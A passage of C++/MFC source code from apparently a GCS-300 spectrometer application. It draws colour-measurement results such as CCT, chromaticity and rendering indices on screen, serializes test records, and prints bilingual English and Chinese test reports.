if(ou[17] < g_doData.m_sdcm.GetAt(i)->m_fys)
{
delty[0] = g_doData.m_sdcm.GetAt(i)->m_fys;
}
else if(ou[17] > (g_doData.m_sdcm.GetAt(i)->m_fys + 0.04))
{
delty[0] = (float)(g_doData.m_sdcm.GetAt(i)->m_fys + 0.04);
}
else
{
delty[0] = ou[17];
}
xs = xs + (int)((deltx[0] - g_doData.m_sdcm.GetAt(i)->m_fxs) * scalex);
ys = ys + (int)(Yinterval * 8 - (delty[0] - g_doData.m_sdcm.GetAt(i)->m_fys) * scaley);
pControlDC->SelectObject(&Pen2);
if(bHave)
{
pControlDC->MoveTo(xs - 5, ys);
pControlDC->LineTo(xs + 5, ys);
pControlDC->MoveTo(xs, ys - 5);
pControlDC->LineTo(xs, ys + 5);
}
pControlDC->SelectObject(pOldPen);
pControlDC->SelectObject(pOldFont);
delete pFont1;
delete pFont2;
}
void CSpectData::DrawData(CDC *pDC, CRect mRect)
{
CFont *pOldFont;
CFont Font1;
CFont Font2;
int HH=(int)(mRect.Height()/8.0f+1);
if(HH<18)
HH=18;
if(HH>32)
HH=32;
Font1.CreateFont(HH,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"MS Sans Serif");
Font2.CreateFont(HH,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"MS Sans Serif");
CPen *pOldPen;
CPen Pen1;
CPen Pen2;
CPen Pen3;
Pen1.CreatePen(PS_SOLID,1,RGB(255,255,0));
Pen2.CreatePen(PS_SOLID,1,RGB(255,0,0));
Pen3.CreatePen(PS_SOLID,1,RGB(255,255,255));
int Wn=mRect.Width()/22;
int Hn=mRect.Height()/22;
CString sStr;
pDC->SetBkMode(TRANSPARENT);
pDC->SetTextColor(RGB(255,255,255));
pOldFont=pDC->SelectObject(&Font1);
pOldPen=pDC->SelectObject(&Pen1);
pDC->SetTextAlign(TA_CENTER);
pDC->SetTextAlign(TA_LEFT);
pDC->TextOut((int)(0.6*Wn),2*Hn,"x =");
pDC->TextOut((int)(0.6*Wn),6*Hn,"y =");
pDC->TextOut((int)(0.6*Wn),10*Hn,"u'=");
pDC->TextOut((int)(0.6*Wn),14*Hn,"v'=");
pDC->TextOut((int)(0.4*Wn),18*Hn,"CCT:");
if(g_bEnglish)
{
pDC->TextOut((int)(3.9*Wn),2*Hn,"Domi.WL:");
pDC->TextOut((int)(3.9*Wn),6*Hn,"Purity:");
pDC->TextOut((int)(3.9*Wn),10*Hn,"PeakWL:");
pDC->TextOut((int)(3.9*Wn),14*Hn,"FWHM:");
pDC->TextOut((int)(3.9*Wn),18*Hn,"RedRatio:");
}
else
{
pDC->TextOut((int)(3.9*Wn),2*Hn,"主波长:");
pDC->TextOut((int)(3.9*Wn),6*Hn,"色纯度:");
pDC->TextOut((int)(3.9*Wn),10*Hn,"峰值波长:");
pDC->TextOut((int)(3.9*Wn),14*Hn,"半宽度:");
pDC->TextOut((int)(3.9*Wn),18*Hn,"红色比:");
}
if(g_bEnglish)
pDC->TextOut((int)(9.5*Wn),2*Hn,"Render Index");
else
pDC->TextOut((int)(9.5*Wn),2*Hn,"显色性指数");
pDC->TextOut((int)(9.5*Wn),(int)(6.5*Hn),"Ra =");
CString strPH,strUnit;
int iPhType,iPhType_E;
if(g_SPEC.m_iTestType==1||g_SPEC.m_iTestType==0)
{
iPhType=PH_F;
iPhType_E=PH_Fe;
}
if(g_SPEC.m_iTestType==2)
{
iPhType=PH_E;
iPhType_E=PH_Ee;
}
if(g_SPEC.m_iTestType==3)
{
iPhType=PH_I;
iPhType_E=PH_Ie;
}
if(g_SPEC.m_iTestType==4)
{
iPhType=PH_L;
iPhType_E=PH_Le;
}
strPH=PH_Name(m_iLamp,iPhType,strUnit,TRUE)+" = ";
pDC->TextOut((int)(9.0*Wn),(int)(12.5*Hn),strPH);
CString strPHe,strUnite;
strPHe=PH_Name(m_iLamp,iPhType_E,strUnite,TRUE)+" = ";
pDC->TextOut((int)(9.0*Wn),(int)(15.5*Hn),strPHe);
sStr.Format("(%.0f-%.0fnm)",m_fE_SP1,m_fE_SP2);
pDC->TextOut((int)(9.5*Wn),(int)(18.5*Hn),sStr);
pDC->TextOut(15*Wn,(int)(2*Hn),"R1 =");
pDC->TextOut(15*Wn,(int)(6*Hn),"R2 =");
pDC->TextOut(15*Wn,(int)(10*Hn),"R3 =");
pDC->TextOut(15*Wn,(int)(14*Hn),"R4 =");
pDC->TextOut(15*Wn,(int)(18*Hn),"R5 =");
pDC->TextOut((int)(17.3*Wn),(int)(2*Hn),"R6 =");
pDC->TextOut((int)(17.3*Wn),(int)(6*Hn),"R7 =");
pDC->TextOut((int)(17.3*Wn),(int)(10*Hn),"R8 =");
pDC->TextOut((int)(17.3*Wn),(int)(14*Hn),"R9 =");
pDC->TextOut((int)(17.3*Wn),(int)(18*Hn),"R10 =");
pDC->TextOut((int)(19.7*Wn),(int)(2*Hn),"R11 =");
pDC->TextOut((int)(19.7*Wn),(int)(6*Hn),"R12 =");
pDC->TextOut((int)(19.7*Wn),(int)(10*Hn),"R13 =");
pDC->TextOut((int)(19.7*Wn),(int)(14*Hn),"R14 =");
pDC->TextOut((int)(19.7*Wn),(int)(18*Hn),"R15 =");
pDC->SetTextAlign(TA_RIGHT);
if(m_bHaveData)
{
pDC->SetTextAlign(TA_LEFT);
pDC->SelectObject(&Font2);
pDC->SetTextColor(RGB(255,255,255));
if(m_bHaveColorPara)
sStr.Format("%.1fnm",m_fMainlambda);
else
sStr="--";
pDC->TextOut((int)(6.5*Wn),2*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.1f%%",m_fPurity);
else
sStr="--";
pDC->TextOut((int)(6.5*Wn),6*Hn,sStr);
sStr.Format("%.1fnm",m_fMaxlambda);
pDC->TextOut((int)(6.5*Wn),10*Hn,sStr);
sStr.Format("%.1fnm",m_fHalflambda);
pDC->TextOut((int)(6.5*Wn),14*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.1f%%",m_fRedRatio);
else
sStr="--";
pDC->TextOut((int)(6.5*Wn),18*Hn,sStr);
pDC->SetTextAlign(TA_RIGHT);
if(m_bHaveColorPara)
sStr.Format("%.4f",m_x);
else
sStr="--";
pDC->TextOut(3*Wn,2*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.4f",m_y);
else
sStr="--";
pDC->TextOut(3*Wn,6*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.4f",m_u);
else
sStr="--";
pDC->TextOut(3*Wn,10*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.4f",m_v);
else
sStr="--";
pDC->TextOut(3*Wn,14*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.0fK",m_fCCT);
else
sStr="--";
pDC->TextOut(3*Wn,18*Hn,sStr);
if(m_bHaveColorPara)
sStr.Format("%.1f",m_fRa);
else
sStr.Format("--",m_fRa);
pDC->TextOut(12*Wn,(int)(6.5*Hn),sStr);
if(m_bTestPH)
{
if(m_bHaveColorPara)
sStr=g_SPEC.sFormat(m_fPH,5)+strUnit;
else
sStr="--";
pDC->TextOut((int)(14.5*Wn),(int)(12.5*Hn),sStr);
}
if(m_bHaveData)
{
sStr=g_SPEC.sFormat(m_fPh_e*1000,5)+strUnite;
pDC->TextOut((int)(14.5*Wn),(int)(15.5*Hn),sStr);
}
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[0]);
else
sStr="--";
pDC->TextOut((int)(16.8*Wn),(int)(2*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[1]);
else
sStr="--";
pDC->TextOut((int)(16.8*Wn),(int)(6*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[2]);
else
sStr="--";
pDC->TextOut((int)(16.8*Wn),(int)(10*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[3]);
else
sStr="--";
pDC->TextOut((int)(16.8*Wn),(int)(14*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[4]);
else
sStr="--";
pDC->TextOut((int)(16.8*Wn),(int)(18*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[5]);
else
sStr="--";
pDC->TextOut((int)(19.4*Wn),(int)(2*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[6]);
else
sStr="--";
pDC->TextOut((int)(19.4*Wn),(int)(6*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[7]);
else
sStr="--";
pDC->TextOut((int)(19.4*Wn),(int)(10*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[8]);
else
sStr="--";
pDC->TextOut((int)(19.4*Wn),(int)(14*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[9]);
else
sStr="--";
pDC->TextOut((int)(19.4*Wn),(int)(18*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[10]);
else
sStr="--";
pDC->TextOut((int)(21.8*Wn),(int)(2*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[11]);
else
sStr="--";
pDC->TextOut((int)(21.8*Wn),(int)(6*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[12]);
else
sStr="--";
pDC->TextOut((int)(21.8*Wn),(int)(10*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[13]);
else
sStr="--";
pDC->TextOut((int)(21.8*Wn),(int)(14*Hn),sStr);
if(m_bHaveColorPara)
sStr.Format("%.0f",m_fRi[14]);
else
sStr="--";
pDC->TextOut((int)(21.8*Wn),(int)(18*Hn),sStr);
}
pDC->SelectObject(pOldFont);
pDC->SelectObject(pOldPen);
}
float CSpectData::Max(CArray<float,float> &f,int& iMax)
{
float fMax=0;
iMax=0;
int iN=f.GetSize();
for(int i=0;i<iN;i++)
{
if(f[i]>fMax)
{
fMax=f[i];
iMax=i;
}
}
return fMax;
}
void CSpectData::Serialize(CArchive &ar)
{
CString strVer;
int iN,i;
if (ar.IsStoring())
{
// TODO: add storing code here
strVer="NH_GCS_300_V101";
ar<<strVer;
ar<<m_bTestF;
ar<<m_fVF; //V
ar<<m_fIF; //mA
ar<<m_fPow;
ar<<m_fPF;
ar<<m_iTestType;
ar<<m_bTestPH;
ar<<m_fDistance;
ar<<m_fPH;
ar<<m_bHaveData;
ar<<m_bHaveColorPara;
ar<<m_strModel;
ar<<m_strNumber;
ar<<m_strFactory;
ar<<m_strT;
ar<<m_strH;
ar<<m_strTester;
ar<<m_strDate;
ar<<m_strRemark;
ar<<m_iDataType;
ar<<m_fIntTime;
ar<<m_fInterval;
ar<<m_fSpect1<<m_fSpect2;
iN=m_fRelSpect.GetSize();
ar<<iN;
for(i=0;i<iN;i++)
ar<<m_fRelSpect[i];
ar<<m_nADW;
ar<<m_fIp;
ar<<m_fPh;
ar<<m_fPh_e;
ar<<m_x<<m_y;
ar<<m_u<<m_v;
ar<<m_fCCT;
ar<<m_fRedRatio;
ar<<m_fMainlambda;
ar<<m_fMaxlambda;
ar<<m_fPurity;
ar<<m_fHalflambda;
ar<<m_fRa;
for(i=0;i<15;i++)
ar<<m_fRi[i];
ar<<m_fEnTMP;
ar<<m_strName;
ar<<m_iLamp;
ar<<m_fPlambda;
ar<<m_fKuv;
ar<<m_fK1;
ar<<m_fK2;
ar<<m_strAngleView;
ar<<m_fdc;
ar<<m_strAddr;
ar<<m_strCompany;
ar<<m_strSampleName;
ar<<m_strSampleState;
ar<<m_strSampleStandard;
ar<<m_fBlueRatio;
ar<<m_fGreenRatio;
ar<<m_strColorCorrectStr;
ar<<m_strFilter;
ar << m_strSN;
}
else
{
// TODO: add loading code here
ar>>strVer;
if(strVer!="NH_GCS_300_V100" && strVer!="NH_GCS_300_V101")
{
if(g_bEnglish)
AfxMessageBox("Can not open this file!\n"+strVer,MB_ICONSTOP);
else
AfxMessageBox("打开文件类型错误!\n"+strVer,MB_ICONSTOP);
return;
}
ar>>m_bTestF;
ar>>m_fVF; //V
ar>>m_fIF; //mA
ar>>m_fPow;
ar>>m_fPF;
ar>>m_iTestType;
ar>>m_bTestPH;
ar>>m_fDistance;
ar>>m_fPH;
ar>>m_bHaveData;
ar>>m_bHaveColorPara;
ar>>m_strModel;
ar>>m_strNumber;
ar>>m_strFactory;
ar>>m_strT;
ar>>m_strH;
ar>>m_strTester;
ar>>m_strDate;
ar>>m_strRemark;
ar>>m_iDataType;
ar>>m_fIntTime;
ar>>m_fInterval;
ar>>m_fSpect1>>m_fSpect2;
ar>>iN;
m_fRelSpect.RemoveAll();
for(i=0;i<iN;i++)
{
float fTemp;
ar>>fTemp;
if(fTemp>1)
fTemp=1;
m_fRelSpect.Add(fTemp);
}
ar>>m_nADW;
ar>>m_fIp;
ar>>m_fPh;
ar>>m_fPh_e;
ar>>m_x>>m_y;
ar>>m_u>>m_v;
m_u=(4*m_x)/(-2*m_x+12*m_y+3);
m_v=(9*m_y)/(-2*m_x+12*m_y+3);
ar>>m_fCCT;
ar>>m_fRedRatio;
ar>>m_fMainlambda;
ar>>m_fMaxlambda;
ar>>m_fPurity;
ar>>m_fHalflambda;
ar>>m_fRa;
for(i=0;i<15;i++)
ar>>m_fRi[i];
ar>>m_fEnTMP;
ar>>m_strName;
ar>>m_iLamp;
ar>>m_fPlambda;
ar>>m_fKuv;
ar>>m_fK1;
ar>>m_fK2;
ar>>m_strAngleView;
ar>>m_fdc;
ar>>m_strAddr;
ar>>m_strCompany;
ar>>m_strSampleName;
ar>>m_strSampleState;
ar>>m_strSampleStandard;
ar>>m_fBlueRatio;
ar>>m_fGreenRatio;
ar>>m_strColorCorrectStr;
ar>>m_strFilter;
if(strVer!="NH_GCS_300_V100")
{
ar >> m_strSN;
}
else
{
m_strSN = g_SPEC.m_strSN;
}
}
}
void CSpectData::printHead(CDC *pDC, CRect printRect, int iCur, int iMax,BOOL bPrintLogo,int iPrintLogoPos,BOOL bPrintPage)
{
char buffer[20];
CFont font;
font.CreateFont(-(int)(printRect.Height()/52),0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
CFont* pOldFont=(CFont*)(pDC->SelectObject(&font));
TEXTMETRIC tm;
pDC->GetTextMetrics(&tm);
int nfontHeight=tm.tmHeight+tm.tmExternalLeading;
int nfontWidth=tm.tmAveCharWidth;
int x=printRect.left+nfontWidth/2;
int y=printRect.top-nfontHeight;
if(g_bEnglish)
{
pDC->TextOut(printRect.left+4*nfontWidth,printRect.top-nfontHeight,g_strPrTitle_E);
sprintf(buffer,"%d Of %d ",iCur,iMax);
}
else
{
pDC->TextOut(printRect.left+4*nfontWidth,printRect.top-nfontHeight,g_strPrTitle_C);
sprintf(buffer,"第 %d 页 共 %d 页",iCur,iMax);
}
if(bPrintPage)
pDC->TextOut(printRect.right-20*nfontWidth,printRect.top-nfontHeight,buffer);
pDC->SetTextAlign(TA_CENTER);
pDC->TextOut(printRect.left+printRect.Width()/2,printRect.top- 2*nfontHeight,CMySpecDoc::m_strNewT);
pDC->SetTextAlign(TA_LEFT);
CPen Pen;
CPen *PtrOldPen;
Pen.CreatePen(PS_SOLID,3,RGB(0,0,0));
PtrOldPen=pDC->SelectObject(&Pen);
pDC->MoveTo(printRect.left,printRect.top);
pDC->LineTo(printRect.right,printRect.top);
pDC->SelectObject(pOldFont);
pDC->SelectObject(PtrOldPen);
if(!bPrintLogo)
return;
//打印图片标志
CRect compRect;
CBrush BrushBack;
BrushBack.CreateSolidBrush(RGB(255,255,255));
CRect Rect;
compRect.left = printRect.left;
compRect.right = printRect.left+printRect.Width()/4;
compRect.top = printRect.top-nfontHeight*3/2-compRect.Width()*125/370;
compRect.bottom = printRect.top-nfontHeight*3/2;
// g_ImageLogo.Stretch( compRect.Width(), compRect.Height() );
// Set the palette and draw.
// if( GetFocus() == this )
// m_ImageCompany.SetPalette( pDC );
if(iPrintLogoPos==0)
{
g_ImageLogo.Draw( pDC,compRect.left,compRect.top,compRect.Width(),compRect.Height() );
pDC->SetBkMode(OPAQUE);
Rect.left=compRect.left;
Rect.right=compRect.right;
Rect.top=compRect.top;
Rect.bottom=compRect.top+nfontHeight/2;
pDC->FillRect(&Rect,&BrushBack);
}
compRect.left=printRect.right-printRect.Width()/4;
compRect.right=printRect.right;
// g_ImageLogo.Stretch( compRect.Width(), compRect.Height() );
// Set the palette and draw.
// if( GetFocus() == this )
// m_ImageLogo.SetPalette( pDC );
if(iPrintLogoPos==1)
{
g_ImageLogo.Draw( pDC,compRect.left,compRect.top,compRect.Width(),compRect.Height() );
pDC->SetBkMode(OPAQUE);
Rect.left=compRect.left;
Rect.right=compRect.right;
Rect.top=compRect.top;
Rect.bottom=compRect.top+nfontHeight/2;
pDC->FillRect(&Rect,&BrushBack);
}
}
void CSpectData::printFoot(CDC *pDC, CRect printRect, int iCur, int iMax)
{
char buffer[256];
CFont font;
font.CreateFont(-(int)(printRect.Height()/58),0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Courier New");
CFont* pOldFont=(CFont*)(pDC->SelectObject(&font));
TEXTMETRIC tm;
pDC->GetTextMetrics(&tm);
int nfontHeight=tm.tmHeight+tm.tmExternalLeading;
int nfontWidth=tm.tmAveCharWidth;
int firstline=printRect.bottom+nfontHeight/2;
pDC->SetTextAlign(TA_LEFT);
if(g_bEnglish)
{
sprintf(buffer,"Model:%s",m_strModel);
pDC->TextOut(printRect.left+4*nfontWidth,firstline,buffer);
sprintf(buffer,"Number:%s",m_strNumber);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline,buffer);
sprintf(buffer,"Tester:%s",m_strTester);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+1*nfontHeight,buffer);
sprintf(buffer,"Date:%s",m_strDate);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline+1*nfontHeight,buffer);
sprintf(buffer,"Temperature:%sDeg",m_strT);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+2*nfontHeight,buffer);
sprintf(buffer,"Humidity:%s%%",m_strH);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline+2*nfontHeight,buffer);
sprintf(buffer,"Manufacturer:%s",m_strFactory);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+3*nfontHeight,buffer);
sprintf(buffer,"Remarks:%s",m_strRemark);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline+3*nfontHeight,buffer);
if(CMySpecDoc::m_bPrintChecker)
{
sprintf(buffer,"Assessor:%s", CMySpecDoc::m_strChecker);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+4*nfontHeight,buffer);
}
}
else
{
sprintf(buffer,"样品型号:%s",m_strModel);
pDC->TextOut(printRect.left+4*nfontWidth,firstline,buffer);
if(CMySpecDoc::m_iNType == 0)
sprintf(buffer,"样品编号:%s",m_strNumber);
if(CMySpecDoc::m_iNType == 1)
sprintf(buffer,"检验编号:%s",m_strNumber);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline,buffer);
sprintf(buffer,"测试人员:%s",m_strTester);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+1*nfontHeight,buffer);
sprintf(buffer,"测试日期:%s",m_strDate);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline+1*nfontHeight,buffer);
sprintf(buffer,"环境温度:%s℃",m_strT);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+2*nfontHeight,buffer);
sprintf(buffer,"环境湿度:%s%%",m_strH);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline+2*nfontHeight,buffer);
sprintf(buffer,"制造厂商:%s",m_strFactory);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+3*nfontHeight,buffer);
sprintf(buffer,"备 注:%s",m_strRemark);
pDC->TextOut(printRect.left+printRect.Width()/2,firstline+3*nfontHeight,buffer);
if(CMySpecDoc::m_bPrintChecker)
{
sprintf(buffer,"审核人员:%s", CMySpecDoc::m_strChecker);
pDC->TextOut(printRect.left+4*nfontWidth,firstline+4*nfontHeight,buffer);
}
}
CPen Pen;
CPen *PtrOldPen;
Pen.CreatePen(PS_SOLID,2,RGB(0,0,0));
PtrOldPen=pDC->SelectObject(&Pen);
pDC->MoveTo(printRect.left,printRect.bottom);
pDC->LineTo(printRect.right,printRect.bottom);
pDC->SelectObject(pOldFont);
pDC->SelectObject(PtrOldPen);
}
void CSpectData::printReport_2(CDC *pDC, CRect printRect,int iTypeP,int iSeleK,int iSDCM1,int iSDCM2,int iPhType,CWhiteZone &xyZone,CString strLevel,CString strWhite,BOOL bPrintLogo,int iPrintLogoPos)
{
if(!m_bHaveData)
return;
CFont *pOldFont;
CFont pFont1;
CFont pFont2;
CFont pFont3;
CFont pFont3s;
CFont pFont4;
CFont pFont5;
if(!g_bEnglish)
{
pFont1.CreateFont(printRect.Height()/55,0,0,0,700,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont2.CreateFont(printRect.Height()/70,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont3.CreateFont(printRect.Height()/70,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont3s.CreateFont(printRect.Height()/70,0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Symbol");
pFont4.CreateFont(printRect.Height()/85,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont5.CreateFont(printRect.Height()/70,0,0,0,500,TRUE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
}
else
{
pFont1.CreateFont(printRect.Height()/55,0,0,0,700,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont2.CreateFont(printRect.Height()/70,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont3.CreateFont(printRect.Height()/70,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont3s.CreateFont(printRect.Height()/70,0,0,0,600,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Symbol");
pFont4.CreateFont(printRect.Height()/85,0,0,0,500,FALSE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
pFont5.CreateFont(printRect.Height()/70,0,0,0,500,TRUE,FALSE,0,
ANSI_CHARSET,OUT_DEFAULT_PRECIS,
CLIP_DEFAULT_PRECIS,DEFAULT_QUALITY,
DEFAULT_PITCH|FF_MODERN,"Arial");
}
CPen *pOldPen;
CPen pPen1;
CPen pPen2;
CPen pPen3;
pPen1.CreatePen(PS_SOLID,1,RGB(255,255,0));
pPen2.CreatePen(PS_SOLID,1,RGB(255,0,0));
pPen3.CreatePen(PS_SOLID,1,RGB(255,255,255));
pOldPen = pDC->SelectObject(&pPen1);
pOldFont = pDC->SelectObject(&pFont1);
int Wn=printRect.Width()/50;
int Hn=printRect.Height()/50;
pDC->SetTextAlign(TA_CENTER);
CString sStr;
int i;
//打印图片标志
CRect compRect;
CBrush BrushBack;
BrushBack.CreateSolidBrush(RGB(255,255,255));
CRect Rect;
if(bPrintLogo)
{
if(iPrintLogoPos==0)
{
compRect.right = printRect.left+printRect.Width()/6+Wn*3;
compRect.left = printRect.left+Wn*2;
compRect.top = printRect.top+Hn*2;
compRect.bottom = printRect.top+Hn*5;
g_ImageLogo.Draw( pDC,compRect.left,compRect.top,compRect.Width(),compRect.Height() );
pDC->SetBkMode(OPAQUE);
Rect.right = printRect.left+printRect.Width()/3;
Rect.left = printRect.left;
Rect.top = printRect.top+Hn*0;
Rect.bottom = printRect.top+Hn*3;
pDC->FillRect(&Rect,&BrushBack);
}
if(iPrintLogoPos==1)
{
compRect.left = printRect.right-printRect.Width()/6-Wn*3;
compRect.right = printRect.right-Wn*2;
compRect.top = printRect.top+Hn*2;
compRect.bottom = printRect.top+Hn*5;
g_ImageLogo.Draw( pDC,compRect.left,compRect.top,compRect.Width(),compRect.Height() );
pDC->SetBkMode(OPAQUE);
Rect.left = printRect.right-printRect.Width()/6-Wn*3;
Rect.right = printRect.right-Wn*2;
Rect.top = printRect.top+Hn*2;
Rect.bottom = printRect.top+Hn*3;
pDC->FillRect(&Rect,&BrushBack);
}
}
int iCurY;
if(!g_bEnglish)
{
iCurY=(int)(printRect.top+3.5f*Hn);
if(m_iLamp==0)
sStr="光 源 光 谱 测 试 报 告";
else
sStr="荧 光 粉 光 谱 测 试 报 告";
iCurY=iCurY+Hn;
pDC->TextOut(printRect.left+printRect.Width()/2,iCurY,sStr);
}
else
{
iCurY=(int)(printRect.top+3.5f*Hn);
if(m_iLamp==0)
sStr="Spectrum Test Report";
else
sStr="Phosphor Test Report";
iCurY=iCurY+Hn;
pDC->TextOut(printRect.left+printRect.Width()/2,iCurY,sStr);
}
Hn=(int)(Hn*0.9f);
pDC->SetTextAlign(TA_LEFT);
pDC->SelectObject(&pFont2);
if(!g_bEnglish)
{
iCurY=iCurY+Hn*4;
sStr.Format("样品名称");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strSampleName);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("测试日期");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strDate);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("样品型号");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strModel);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("样品状态");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strSampleState);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
if(CMySpecDoc::m_iNType == 0)
sStr.Format("样品编号");
if(CMySpecDoc::m_iNType == 1)
sStr.Format("检验编号");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strNumber);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("测试仪器");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s","GCS-300(NAHON)");
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("制造厂商");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strFactory);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("测试人员");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strTester);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
}
else
{
iCurY=iCurY+Hn*4;
sStr.Format("Sample");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strSampleName);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Date");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strDate);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
sStr.Format("Specification");
pDC->TextOut(printRect.left+4*Wn,iCurY,sStr);
sStr.Format(": %s",m_strModel);
pDC->TextOut(printRect.left+11*Wn,iCurY,sStr);
sStr.Format("Sam. Status");
pDC->TextOut(printRect.left+4*Wn+printRect.Width()/2,iCurY,sStr);
sStr.Format(": %s",m_strSampleState);
pDC->TextOut(printRect.left+11*Wn+printRect.Width()/2,iCurY,sStr);
iCurY=iCurY+Hn;
